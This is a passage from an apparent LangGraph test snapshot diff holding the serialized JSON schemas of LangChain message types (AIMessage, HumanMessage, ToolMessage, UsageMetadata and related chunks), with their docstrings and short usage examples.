[{"$ref": "#/$defs/UsageMetadata"}, {"type": "null"}], "default": null}}, "required": ["content"], "title": "AIMessage", "type": "object"}, "AIMessageChunk": {"additionalProperties": true, "description": "Message chunk from an AI (yielded when streaming).", "properties": {"content": {"anyOf": [{"type": "string"}, {"items": {"anyOf": [{"type": "string"}, {"additionalProperties": true, "type": "object"}]}, "type": "array"}], "title": "Content"}, "additional_kwargs": {"additionalProperties": true, "title": "Additional Kwargs", "type": "object"}, "response_metadata": {"additionalProperties": true, "title": "Response Metadata", "type": "object"}, "type": {"const": "AIMessageChunk", "default": "AIMessageChunk", "title": "Type", "type": "string"}, "name": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "title": "Name"}, "id": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "title": "Id"}, "tool_calls": {"items": {"$ref": "#/$defs/ToolCall"}, "title": "Tool Calls", "type": "array"}, "invalid_tool_calls": {"items": {"$ref": "#/$defs/InvalidToolCall"}, "title": "Invalid Tool Calls", "type": "array"}, "usage_metadata": {"anyOf": [{"$ref": "#/$defs/UsageMetadata"}, {"type": "null"}], "default": null}, "tool_call_chunks": {"items": {"$ref": "#/$defs/ToolCallChunk"}, "title": "Tool Call Chunks", "type": "array"}, "chunk_position": {"anyOf": [{"const": "last", "type": "string"}, {"type": "null"}], "default": null, "title": "Chunk Position"}}, "required": ["content"], "title": "AIMessageChunk", "type": "object"}, "ChatMessage": {"additionalProperties": true, "description": "Message that can be assigned an arbitrary speaker (i.e. role).", "properties": {"content": {"anyOf": [{"type": "string"}, {"items": {"anyOf": [{"type": "string"}, {"additionalProperties": true, "type": "object"}]}, "type": "array"}], "title": "Content"}, "additional_kwargs": {"additionalProperties": true, "title": "Additional Kwargs", "type": "object"}, "response_metadata": {"additionalProperties": true, "title": "Response Metadata", "type": "object"}, "type": {"const": "chat", "default": "chat", "title": "Type", "type": "string"}, "name": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "title": "Name"}, "id": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "title": "Id"}, "role": {"title": "Role", "type": "string"}}, "required": ["content", "role"], "title": "ChatMessage", "type": "object"}, "ChatMessageChunk": {"additionalProperties": true, "description": "Chat Message chunk.", "properties": {"content": {"anyOf": [{"type": "string"}, {"items": {"anyOf": [{"type": "string"}, {"additionalProperties": true, "type": "object"}]}, "type": "array"}], "title": "Content"}, "additional_kwargs": {"additionalProperties": true, "title": "Additional Kwargs", "type": "object"}, "response_metadata": {"additionalProperties": true, "title": "Response Metadata", "type": "object"}, "type": {"const": "ChatMessageChunk", "default": "ChatMessageChunk", "title": "Type", "type": "string"}, "name": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "title": "Name"}, "id": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "title": "Id"}, "role": {"title": "Role", "type": "string"}}, "required": ["content", "role"], "title": "ChatMessageChunk", "type": "object"}, "FunctionMessage": {"additionalProperties": true, "description": "Message for passing the result of executing a tool back to a model.\\n\\n`FunctionMessage` are an older version of the `ToolMessage` schema, and\\ndo not contain the `tool_call_id` field.\\n\\nThe `tool_call_id` field is used to associate the tool call request with the\\ntool call response. Useful in situations where a chat model is able\\nto request multiple tool calls in parallel.", "properties": {"content": {"anyOf": [{"type": "string"}, {"items": {"anyOf": [{"type": "string"}, {"additionalProperties": true, "type": "object"}]}, "type": "array"}], "title": "Content"}, "additional_kwargs": {"additionalProperties": true, "title": "Additional Kwargs", "type": "object"}, "response_metadata": {"additionalProperties": true, "title": "Response Metadata", "type": "object"}, "type": {"const": "function", "default": "function", "title": "Type", "type": "string"}, "name": {"title": "Name", "type": "string"}, "id": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "title": "Id"}}, "required": ["content", "name"], "title": "FunctionMessage", "type": "object"}, "FunctionMessageChunk": {"additionalProperties": true, "description": "Function Message chunk.", "properties": {"content": {"anyOf": [{"type": "string"}, {"items": {"anyOf": [{"type": "string"}, {"additionalProperties": true, "type": "object"}]}, "type": "array"}], "title": "Content"}, "additional_kwargs": {"additionalProperties": true, "title": "Additional Kwargs", "type": "object"}, "response_metadata": {"additionalProperties": true, "title": "Response Metadata", "type": "object"}, "type": {"const": "FunctionMessageChunk", "default": "FunctionMessageChunk", "title": "Type", "type": "string"}, "name": {"title": "Name", "type": "string"}, "id": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "title": "Id"}}, "required": ["content", "name"], "title": "FunctionMessageChunk", "type": "object"}, "HumanMessage": {"additionalProperties": true, "description": "Message from the user.\\n\\nA `HumanMessage` is a message that is passed in from a user to the model.\\n\\nExample:\\n    ```python\\n    from langchain_core.messages import HumanMessage, SystemMessage\\n\\n    messages = [\\n        SystemMessage(content=\\"You are a helpful assistant! Your name is Bob.\\"),\\n        HumanMessage(content=\\"What is your name?\\"),\\n    ]\\n\\n    # Instantiate a chat model and invoke it with the messages\\n    model = ...\\n    print(model.invoke(messages))\\n    ```", "properties": {"content": {"anyOf": [{"type": "string"}, {"items": {"anyOf": [{"type": "string"}, {"additionalProperties": true, "type": "object"}]}, "type": "array"}], "title": "Content"}, "additional_kwargs": {"additionalProperties": true, "title": "Additional Kwargs", "type": "object"}, "response_metadata": {"additionalProperties": true, "title": "Response Metadata", "type": "object"}, "type": {"const": "human", "default": "human", "title": "Type", "type": "string"}, "name": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "title": "Name"}, "id": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "title": "Id"}}, "required": ["content"], "title": "HumanMessage", "type": "object"}, "HumanMessageChunk": {"additionalProperties": true, "description": "Human Message chunk.", "properties": {"content": {"anyOf": [{"type": "string"}, {"items": {"anyOf": [{"type": "string"}, {"additionalProperties": true, "type": "object"}]}, "type": "array"}], "title": "Content"}, "additional_kwargs": {"additionalProperties": true, "title": "Additional Kwargs", "type": "object"}, "response_metadata": {"additionalProperties": true, "title": "Response Metadata", "type": "object"}, "type": {"const": "HumanMessageChunk", "default": "HumanMessageChunk", "title": "Type", "type": "string"}, "name": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "title": "Name"}, "id": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "title": "Id"}}, "required": ["content"], "title": "HumanMessageChunk", "type": "object"}, "InputTokenDetails": {"additionalProperties": true, "description": "Breakdown of input token counts.\\n\\nDoes *not* need to sum to full input token count. Does *not* need to have all keys.\\n\\nExample:\\n    ```python\\n    {\\n        \\"audio\\": 10,\\n        \\"cache_creation\\": 200,\\n        \\"cache_read\\": 100,\\n    }\\n    ```\\n\\nMay also hold extra provider-specific keys.\\n\\n!!! version-added \\"Added in `langchain-core` 0.3.9\\"", "properties": {"audio": {"title": "Audio", "type": "integer"}, "cache_creation": {"title": "Cache Creation", "type": "integer"}, "cache_read": {"title": "Cache Read", "type": "integer"}}, "title": "InputTokenDetails", "type": "object"}, "InvalidToolCall": {"additionalProperties": true, "description": "Allowance for errors made by LLM.\\n\\nHere we add an `error` key to surface errors made during generation\\n(e.g., invalid JSON arguments.)", "properties": {"type": {"const": "invalid_tool_call", "title": "Type", "type": "string"}, "id": {"anyOf": [{"type": "string"}, {"type": "null"}], "title": "Id"}, "name": {"anyOf": [{"type": "string"}, {"type": "null"}], "title": "Name"}, "args": {"anyOf": [{"type": "string"}, {"type": "null"}], "title": "Args"}, "error": {"anyOf": [{"type": "string"}, {"type": "null"}], "title": "Error"}, "index": {"anyOf": [{"type": "integer"}, {"type": "string"}], "title": "Index"}, "extras": {"additionalProperties": true, "title": "Extras", "type": "object"}}, "required": ["type", "id", "name", "args", "error"], "title": "InvalidToolCall", "type": "object"}, "OutputTokenDetails": {"additionalProperties": true, "description": "Breakdown of output token counts.\\n\\nDoes *not* need to sum to full output token count. Does *not* need to have all keys.\\n\\nExample:\\n    ```python\\n    {\\n        \\"audio\\": 10,\\n        \\"reasoning\\": 200,\\n    }\\n    ```\\n\\nMay also hold extra provider-specific keys.\\n\\n!!! version-added \\"Added in `langchain-core` 0.3.9\\"", "properties": {"audio": {"title": "Audio", "type": "integer"}, "reasoning": {"title": "Reasoning", "type": "integer"}}, "title": "OutputTokenDetails", "type": "object"}, "SystemMessage": {"additionalProperties": true, "description": "Message for priming AI behavior.\\n\\nThe system message is usually passed in as the first of a sequence\\nof input messages.\\n\\nExample:\\n    ```python\\n    from langchain_core.messages import HumanMessage, SystemMessage\\n\\n    messages = [\\n        SystemMessage(content=\\"You are a helpful assistant! Your name is Bob.\\"),\\n        HumanMessage(content=\\"What is your name?\\"),\\n    ]\\n\\n    # Define a chat model and invoke it with the messages\\n    print(model.invoke(messages))\\n    ```", "properties": {"content": {"anyOf": [{"type": "string"}, {"items": {"anyOf": [{"type": "string"}, {"additionalProperties": true, "type": "object"}]}, "type": "array"}], "title": "Content"}, "additional_kwargs": {"additionalProperties": true, "title": "Additional Kwargs", "type": "object"}, "response_metadata": {"additionalProperties": true, "title": "Response Metadata", "type": "object"}, "type": {"const": "system", "default": "system", "title": "Type", "type": "string"}, "name": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "title": "Name"}, "id": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "title": "Id"}}, "required": ["content"], "title": "SystemMessage", "type": "object"}, "SystemMessageChunk": {"additionalProperties": true, "description": "System Message chunk.", "properties": {"content": {"anyOf": [{"type": "string"}, {"items": {"anyOf": [{"type": "string"}, {"additionalProperties": true, "type": "object"}]}, "type": "array"}], "title": "Content"}, "additional_kwargs": {"additionalProperties": true, "title": "Additional Kwargs", "type": "object"}, "response_metadata": {"additionalProperties": true, "title": "Response Metadata", "type": "object"}, "type": {"const": "SystemMessageChunk", "default": "SystemMessageChunk", "title": "Type", "type": "string"}, "name": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "title": "Name"}, "id": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "title": "Id"}}, "required": ["content"], "title": "SystemMessageChunk", "type": "object"}, "ToolCall": {"additionalProperties": true, "description": "Represents an AI\'s request to call a tool.\\n\\nExample:\\n    ```python\\n    {\\"name\\": \\"foo\\", \\"args\\": {\\"a\\": 1}, \\"id\\": \\"123\\"}\\n    ```\\n\\n    This represents a request to call the tool named `\'foo\'` with arguments\\n    `{\\"a\\": 1}` and an identifier of `\'123\'`.\\n\\n!!! note \\"Factory function\\"\\n\\n    `tool_call` may also be used as a factory to create a `ToolCall`. Benefits\\n    include:\\n\\n    * Required arguments strictly validated at creation time", "properties": {"name": {"title": "Name", "type": "string"}, "args": {"additionalProperties": true, "title": "Args", "type": "object"}, "id": {"anyOf": [{"type": "string"}, {"type": "null"}], "title": "Id"}, "type": {"const": "tool_call", "title": "Type", "type": "string"}}, "required": ["name", "args", "id"], "title": "ToolCall", "type": "object"}, "ToolCallChunk": {"additionalProperties": true, "description": "A chunk of a tool call (yielded when streaming).\\n\\nWhen merging `ToolCallChunk` objects (e.g., via `AIMessageChunk.__add__`), all\\nstring attributes are concatenated. Chunks are only merged if their values of\\n`index` are equal and not `None`.\\n\\nExample:\\n```python\\nleft_chunks = [ToolCallChunk(name=\\"foo\\", args=\'{\\"a\\":\', index=0)]\\nright_chunks = [ToolCallChunk(name=None, args=\\"1}\\", index=0)]\\n\\n(\\n    AIMessageChunk(content=\\"\\", tool_call_chunks=left_chunks)\\n    + AIMessageChunk(content=\\"\\", tool_call_chunks=right_chunks)\\n).tool_call_chunks == [ToolCallChunk(name=\\"foo\\", args=\'{\\"a\\":1}\', index=0)]\\n```", "properties": {"name": {"anyOf": [{"type": "string"}, {"type": "null"}], "title": "Name"}, "args": {"anyOf": [{"type": "string"}, {"type": "null"}], "title": "Args"}, "id": {"anyOf": [{"type": "string"}, {"type": "null"}], "title": "Id"}, "index": {"anyOf": [{"type": "integer"}, {"type": "null"}], "title": "Index"}, "type": {"const": "tool_call_chunk", "title": "Type", "type": "string"}}, "required": ["name", "args", "id", "index"], "title": "ToolCallChunk", "type": "object"}, "ToolMessage": {"additionalProperties": true, "description": "Message for passing the result of executing a tool back to a model.\\n\\n`ToolMessage` objects contain the result of a tool invocation. Typically, the result\\nis encoded inside the `content` field.\\n\\n`tool_call_id` is used to associate the tool call request with the tool call\\nresponse. Useful in situations where a chat model is able to request multiple tool\\ncalls in parallel.\\n\\nExample:\\n    A `ToolMessage` representing a result of `42` from a tool call with id\\n\\n    ```python\\n    from langchain_core.messages import ToolMessage\\n\\n    ToolMessage(content=\\"42\\", tool_call_id=\\"call_Jja7J89XsjrOLA5r!MEOW!SL\\")\\n    ```\\n\\nExample:\\n    A `ToolMessage` where only part of the tool output is sent to the model\\n    and the full output is passed in to artifact.\\n\\n    ```python\\n    from langchain_core.messages import ToolMessage\\n\\n    tool_output = {\\n        \\"stdout\\": \\"From the graph we can see that the correlation between \\"\\n        \\"x and y is ...\\",\\n        \\"stderr\\": None,\\n        \\"artifacts\\": {\\"type\\": \\"image\\", \\"base64_data\\": \\"/9j/4gIcSU...\\"},\\n    }\\n\\n    ToolMessage(\\n        content=tool_output[\\"stdout\\"],\\n        artifact=tool_output,\\n        tool_call_id=\\"call_Jja7J89XsjrOLA5r!MEOW!SL\\",\\n    )\\n    ```", "properties": {"content": {"anyOf": [{"type": "string"}, {"items": {"anyOf": [{"type": "string"}, {"additionalProperties": true, "type": "object"}]}, "type": "array"}], "title": "Content"}, "additional_kwargs": {"additionalProperties": true, "title": "Additional Kwargs", "type": "object"}, "response_metadata": {"additionalProperties": true, "title": "Response Metadata", "type": "object"}, "type": {"const": "tool", "default": "tool", "title": "Type", "type": "string"}, "name": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "title": "Name"}, "id": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "title": "Id"}, "tool_call_id": {"title": "Tool Call Id", "type": "string"}, "artifact": {"default": null, "title": "Artifact"}, "status": {"default": "success", "enum": ["success", "error"], "title": "Status", "type": "string"}}, "required": ["content", "tool_call_id"], "title": "ToolMessage", "type": "object"}, "ToolMessageChunk": {"additionalProperties": true, "description": "Tool Message chunk.", "properties": {"content": {"anyOf": [{"type": "string"}, {"items": {"anyOf": [{"type": "string"}, {"additionalProperties": true, "type": "object"}]}, "type": "array"}], "title": "Content"}, "additional_kwargs": {"additionalProperties": true, "title": "Additional Kwargs", "type": "object"}, "response_metadata": {"additionalProperties": true, "title": "Response Metadata", "type": "object"}, "type": {"const": "ToolMessageChunk", "default": "ToolMessageChunk", "title": "Type", "type": "string"}, "name": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "title": "Name"}, "id": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "title": "Id"}, "tool_call_id": {"title": "Tool Call Id", "type": "string"}, "artifact": {"default": null, "title": "Artifact"}, "status": {"default": "success", "enum": ["success", "error"], "title": "Status", "type": "string"}}, "required": ["content", "tool_call_id"], "title": "ToolMessageChunk", "type": "object"}, "UsageMetadata": {"additionalProperties": true, "description": "Usage metadata for a message, such as token counts.\\n\\nThis is a standard representation of token usage that is consistent across models.\\n\\nExample:\\n    ```python\\n    {\\n        \\"input_tokens\\": 350,\\n        \\"output_tokens\\": 240,\\n        \\"total_tokens\\": 590,\\n        \\"input_token_details\\": {\\n            \\"audio\\": 10,\\n            \\"cache_creation\\": 200,\\n            \\"cache_read\\": 100,\\n        },\\n        \\"output_token_details\\": {\\n            \\"audio\\": 10,\\n            \\"reasoning\\": 200,\\n        },\\n    }\\n    ```\\n\\n!!! warning \\"Behavior changed in `langchain-core` 0.3.9\\"\\n\\n    Added `input_token_details` and `output_token_details`.\\n\\n!!! note \\"LangSmith SDK\\"\\n\\n    The LangSmith SDK also has a `UsageMetadata` class. While the two share fields,\\n    LangSmith\'s `UsageMetadata` has additional fields to capture cost information\\n    used by the LangSmith platform.", "properties": {"input_tokens": {"title": "Input Tokens", "type": "integer"}, "output_tokens": {"title": "Output Tokens", "type": "integer"}, "total_tokens": {"title": "Total Tokens", "type": "integer"}, "input_token_details": {"$ref": "#/$defs/InputTokenDetails"}, "output_token_details": {"$ref": "#/$defs/OutputTokenDetails"}}, "required": ["input_tokens", "output_tokens", "total_tokens"], "title": "UsageMetadata", "type": "object"}}, "default": null, "items": {"oneOf": [{"$ref": "#/$defs/AIMessage"}, {"$ref": "#/$defs/HumanMessage"}, {"$ref": "#/$defs/ChatMessage"}, {"$ref": "#/$defs/SystemMessage"}, {"$ref": "#/$defs/FunctionMessage"}, {"$ref": "#/$defs/ToolMessage"}, {"$ref": "#/$defs/AIMessageChunk"}, {"$ref": "#/$defs/HumanMessageChunk"}, {"$ref": "#/$defs/ChatMessageChunk"}, {"$ref": "#/$defs/SystemMessageChunk"}, {"$ref": "#/$defs/FunctionMessageChunk"}, {"$ref": "#/$defs/ToolMessageChunk"}]}, "title": "LangGraphInput", "type": "array"}'
+# ---
+# name: test_message_graph[memory].1
+  '{"$defs": {"AIMessage": {"additionalProperties": true, "description": "Message from an AI.\\n\\nAn `AIMessage` is returned from a chat model as a response to a prompt.\\n\\nThis message represents the output of the model and consists of both\\nthe raw output as returned by the model and standardized fields\\n(e.g., tool calls, usage metadata) added by the LangChain framework.", "properties": {"content": {"anyOf": [{"type": "string"}, {"items": {"anyOf": [{"type": "string"}, {"additionalProperties": true, "type": "object"}]}, "type": "array"}], "title": "Content"}, "additional_kwargs": {"additionalProperties": true, "title": "Additional Kwargs", "type": "object"}, "response_metadata": {"additionalProperties": true, "title": "Response Metadata", "type": "object"}, "type": {"const": "ai", "default": "ai", "title": "Type", "type": "string"}, "name": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "title": "Name"}, "id": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "title": "Id"}, "tool_calls": {"items": {"$ref": "#/$defs/ToolCall"}, "title": "Tool Calls", "type": "array"}, "invalid_tool_calls": {"items": {"$ref": "#/$defs/InvalidToolCall"}, "title": "Invalid Tool Calls", "type": "array"}, "usage_metadata": {"anyOf": [{"$ref": "#/$defs/UsageMetadata"}, {"type": "null"}], "default": null}}, "required": ["content"], "title": "AIMessage", "type": "object"}, "AIMessageChunk": {"additionalProperties": true, "description": "Message chunk from an AI (yielded when streaming).", "properties": {"content": {"anyOf": [{"type": "string"}, {"items": {"anyOf": [{"type": "string"}, {"additionalProperties": true, "type": "object"}]}, "type": "array"}], "title": "Content"}, "additional_kwargs": {"additionalProperties": true, "title": "Additional Kwargs", "type": "object"}, "response_metadata": {"additionalProperties": true, "title": "Response Metadata", "type": "object"}, "type": {"const": "AIMessageChunk", "default": "AIMessageChunk", "title": "Type", "type": "string"}, "name": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "title": "Name"}, "id": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "title": "Id"}, "tool_calls": {"items": {"$ref": "#/$defs/ToolCall"}, "title": "Tool Calls", "type": "array"}, "invalid_tool_calls": {"items": {"$ref": "#/$defs/InvalidToolCall"}, "title": "Invalid Tool Calls", "type": "array"}, "usage_metadata": {"anyOf": [{"$ref": "#/$defs/UsageMetadata"}, {"type": "null"}], "default": null}, "tool_call_chunks": {"items": {"$ref": "#/$defs/ToolCallChunk"}, "title": "Tool Call Chunks", "type": "array"}, "chunk_position": {"anyOf": [{"const": "last", "type": "string"}, {"type": "null"}], "default": null, "title": "Chunk Position"}}, "required": ["content"], "title": "AIMessageChunk", "type": "object"}, "ChatMessage": {"additionalProperties": true, "description": "Message that can be assigned an arbitrary speaker (i.e. role).", "properties": {"content": {"anyOf": [{"type": "string"}, {"items": {"anyOf": [{"type": "string"}, {"additionalProperties": true, "type": "object"}]}, "type": "array"}], "title": "Content"}, "additional_kwargs": {"additionalProperties": true, "title": "Additional Kwargs", "type": "object"}, "response_metadata": {"additionalProperties": true, "title": "Response Metadata", "type": "object"}, "type": {"const": "chat", "default": "chat", "title": "Type", "type": "string"}, "name": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "title": "Name"}, "id": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "title": "Id"}, "role": {"title": "Role", "type": "string"}}, "required": ["content", "role"], "title": "ChatMessage", "type": "object"}, "ChatMessageChunk": {"additionalProperties": true, "description": "Chat Message chunk.", "properties": {"content": {"anyOf": [{"type": "string"}, {"items": {"anyOf": [{"type": "string"}, {"additionalProperties": true, "type": "object"}]}, "type": "array"}], "title": "Content"}, "additional_kwargs": {"additionalProperties": true, "title": "Additional Kwargs", "type": "object"}, "response_metadata": {"additionalProperties": true, "title": "Response Metadata", "type": "object"}, "type": {"const": "ChatMessageChunk", "default": "ChatMessageChunk", "title": "Type", "type": "string"}, "name": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "title": "Name"}, "id": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "title": "Id"}, "role": {"title": "Role", "type": "string"}}, "required": ["content", "role"], "title": "ChatMessageChunk", "type": "object"}, "FunctionMessage": {"additionalProperties": true, "description": "Message for passing the result of executing a tool back to a model.\\n\\n`FunctionMessage` are an older version of the `ToolMessage` schema, and\\ndo not contain the `tool_call_id` field.\\n\\nThe `tool_call_id` field is used to associate the tool call request with the\\ntool call response. Useful in situations where a chat model is able\\nto request multiple tool calls in parallel.", "properties": {"content": {"anyOf": [{"type": "string"}, {"items": {"anyOf": [{"type": "string"}, {"additionalProperties": true, "type": "object"}]}, "type": "array"}], "title": "Content"}, "additional_kwargs": {"additionalProperties": true, "title": "Additional Kwargs", "type": "object"}, "response_metadata": {"additionalProperties": true, "title": "Response Metadata", "type": "object"}, "type": {"const": "function", "default": "function", "title": "Type", "type": "string"}, "name": {"title": "Name", "type": "string"}, "id": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "title": "Id"}}, "required": ["content", "name"], "title": "FunctionMessage", "type": "object"}, "FunctionMessageChunk": {"additionalProperties": true, "description": "Function Message chunk.", "properties": {"content": {"anyOf": [{"type": "string"}, {"items": {"anyOf": [{"type": "string"}, {"additionalProperties": true, "type": "object"}]}, "type": "array"}], "title": "Content"}, "additional_kwargs": {"additionalProperties": true, "title": "Additional Kwargs", "type": "object"}, "response_metadata": {"additionalProperties": true, "title": "Response Metadata", "type": "object"}, "type": {"const": "FunctionMessageChunk", "default": "FunctionMessageChunk", "title": "Type", "type": "string"}, "name": {"title": "Name", "type": "string"}, "id": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "title": "Id"}}, "required": ["content", "name"], "title": "FunctionMessageChunk", "type": "object"}, "HumanMessage": {"additionalProperties": true, "description": "Message from the user.\\n\\nA `HumanMessage` is a message that is passed in from a user to the model.\\n\\nExample:\\n    ```python\\n    from langchain_core.messages import HumanMessage, SystemMessage\\n\\n    messages = [\\n        SystemMessage(content=\\"You are a helpful assistant! Your name is Bob.\\"),\\n        HumanMessage(content=\\"What is your name?\\"),\\n    ]\\n\\n    # Instantiate a chat model and invoke it with the messages\\n    model = ...\\n    print(model.invoke(messages))\\n    ```", "properties": {"content": {"anyOf": [{"type": "string"}, {"items": {"anyOf": [{"type": "string"}, {"additionalProperties": true, "type": "object"}]}, "type": "array"}], "title": "Content"}, "additional_kwargs": {"additionalProperties": true, "title": "Additional Kwargs", "type": "object"}, "response_metadata": {"additionalProperties": true, "title": "Response Metadata", "type": "object"}, "type": {"const": "human", "default": "human", "title": "Type", "type": "string"}, "name": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "title": "Name"}, "id": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "title": "Id"}}, "required": ["content"], "title": "HumanMessage", "type": "object"}, "HumanMessageChunk": {"additionalProperties": true, "description": "Human Message chunk.", "properties": {"content": {"anyOf": [{"type": "string"}, {"items": {"anyOf": [{"type": "string"}, {"additionalProperties": true, "type": "object"}]}, "type": "array"}], "title": "Content"}, "additional_kwargs": {"additionalProperties": true, "title": "Additional Kwargs", "type": "object"}, "response_metadata": {"additionalProperties": true, "title": "Response Metadata", "type": "object"}, "type": {"const": "HumanMessageChunk", "default": "HumanMessageChunk", "title": "Type", "type": "string"}, "name": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "title": "Name"}, "id": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "title": "Id"}}, "required": ["content"], "title": "HumanMessageChunk", "type": "object"}, "InputTokenDetails": {"additionalProperties": true, "description": "Breakdown of input token counts.\\n\\nDoes *not* need to sum to full input token count. Does *not* need to have all keys.\\n\\nExample:\\n    ```python\\n    {\\n        \\"audio\\": 10,\\n        \\"cache_creation\\": 200,\\n        \\"cache_read\\": 100,\\n    }\\n    ```\\n\\nMay also hold extra provider-specific keys.\\n\\n!!! version-added \\"Added in `langchain-core` 0.3.9\\"", "properties": {"audio": {"title": "Audio", "type": "integer"}, "cache_creation": {"title": "Cache Creation", "type": "integer"}, "cache_read": {"title": "Cache Read", "type": "integer"}}, "title": "InputTokenDetails", "type": "object"}, "InvalidToolCall": {"additionalProperties": true, "description": "Allowance for errors made by LLM.\\n\\nHere we add an `error` key to surface errors made during generation\\n(e.g., invalid JSON arguments.)", "properties": {"type": {"const": "invalid_tool_call", "title": "Type", "type": "string"}, "id": {"anyOf": [{"type": "string"}, {"type": "null"}], "title": "Id"}, "name": {"anyOf": [{"type": "string"}, {"type": "null"}], "title": "Name"}, "args": {"anyOf": [{"type": "string"}, {"type": "null"}], "title": "Args"}, "error": {"anyOf": [{"type": "string"}, {"type": "null"}], "title": "Error"}, "index": {"anyOf": [{"type": "integer"}, {"type": "string"}], "title": "Index"}, "extras": {"additionalProperties": true, "title": "Extras", "type": "object"}}, "required": ["type", "id", "name", "args", "error"], "title": "InvalidToolCall", "type": "object"}, "OutputTokenDetails": {"additionalProperties": true, "description": "Breakdown of output token counts.\\n\\nDoes *not* need to sum to full output token count. Does *not* need to have all keys.\\n\\nExample:\\n    ```python\\n    {\\n        \\"audio\\": 10,\\n        \\"reasoning\\": 200,\\n    }\\n    ```\\n\\nMay also hold extra provider-specific keys.\\n\\n!!! version-added \\"Added in `langchain-core` 0.3.9\\"", "properties": {"audio": {"title": "Audio", "type": "integer"}, "reasoning": {"title": "Reasoning", "type": "integer"}}, "title": "OutputTokenDetails", "type": "object"}, "SystemMessage": {"additionalProperties": true, "description": "Message for priming AI behavior.\\n\\nThe system message is usually passed in as the first of a sequence\\nof input messages.\\n\\nExample:\\n    ```python\\n    from langchain_core.messages import HumanMessage, SystemMessage\\n\\n    messages = [\\n        SystemMessage(content=\\"You are a helpful assistant! Your name is Bob.\\"),\\n        HumanMessage(content=\\"What is your name?\\"),\\n    ]\\n\\n    # Define a chat model and invoke it with the messages\\n    print(model.invoke(messages))\\n    ```", "properties": {"content": {"anyOf": [{"type": "string"}, {"items": {"anyOf": [{"type": "string"}, {"additionalProperties": true, "type": "object"}]}, "type": "array"}], "title": "Content"}, "additional_kwargs": {"additionalProperties": true, "title": "Additional Kwargs", "type": "object"}, "response_metadata": {"additionalProperties": true, "title": "Response Metadata", "type": "object"}, "type": {"const": "system", "default": "system", "title": "Type", "type": "string"}, "name": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "title": "Name"}, "id": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "title": "Id"}}, "required": ["content"], "title": "SystemMessage", "type": "object"}, "SystemMessageChunk": {"additionalProperties": true, "description": "System Message chunk.", "properties": {"content": {"anyOf": [{"type": "string"}, {"items": {"anyOf": [{"type": "string"}, {"additionalProperties": true, "type": "object"}]}, "type": "array"}], "title": "Content"}, "additional_kwargs": {"additionalProperties": true, "title": "Additional Kwargs", "type": "object"}, "response_metadata": {"additionalProperties": true, "title": "Response Metadata", "type": "object"}, "type": {"const": "SystemMessageChunk", "default": "SystemMessageChunk", "title": "Type", "type": "string"}, "name": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "title": "Name"}, "id": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "title": "Id"}}, "required": ["content"], "title": "SystemMessageChunk", "type": "object"}, "ToolCall": {"additionalProperties": true, "description": "Represents an AI\'s request to call a tool.\\n\\nExample:\\n    ```python\\n    {\\"name\\": \\"foo\\", \\"args\\": {\\"a\\": 1}, \\"id\\": \\"123\\"}\\n    ```\\n\\n    This represents a request to call the tool named `\'foo\'` with arguments\\n    `{\\"a\\": 1}` and an identifier of `\'123\'`.\\n\\n!!! note \\"Factory function\\"\\n\\n    `tool_call` may also be used as a factory to create a `ToolCall`. Benefits\\n    include:\\n\\n    * Required arguments strictly validated at creation time", "properties": {"name": {"title": "Name", "type": "string"}, "args": {"additionalProperties": true, "title": "Args", "type": "object"}, "id": {"anyOf": [{"type": "string"}, {"type": "null"}], "title": "Id"}, "type": {"const": "tool_call", "title": "Type", "type": "string"}}, "required": ["name", "args", "id"], "title": "ToolCall", "type": "object"}, "ToolCallChunk": {"additionalProperties": true, "description": "A chunk of a tool call (yielded when streaming).\\n\\nWhen merging `ToolCallChunk` objects (e.g., via `AIMessageChunk.__add__`), all\\nstring attributes are concatenated. Chunks are only merged if their values of\\n`index` are equal and not `None`.\\n\\nExample:\\n```python\\nleft_chunks = [ToolCallChunk(name=\\"foo\\", args=\'{\\"a\\":\', index=0)]\\nright_chunks = [ToolCallChunk(name=None, args=\\"1}\\", index=0)]\\n\\n(\\n    AIMessageChunk(content=\\"\\", tool_call_chunks=left_chunks)\\n    + AIMessageChunk(content=\\"\\", tool_call_chunks=right_chunks)\\n).tool_call_chunks == [ToolCallChunk(name=\\"foo\\", args=\'{\\"a\\":1}\', index=0)]\\n```", "properties": {"name": {"anyOf": [{"type": "string"}, {"type": "null"}], "title": "Name"}, "args": {"anyOf": [{"type": "string"}, {"type": "null"}], "title": "Args"}, "id": {"anyOf": [{"type": "string"}, {"type": 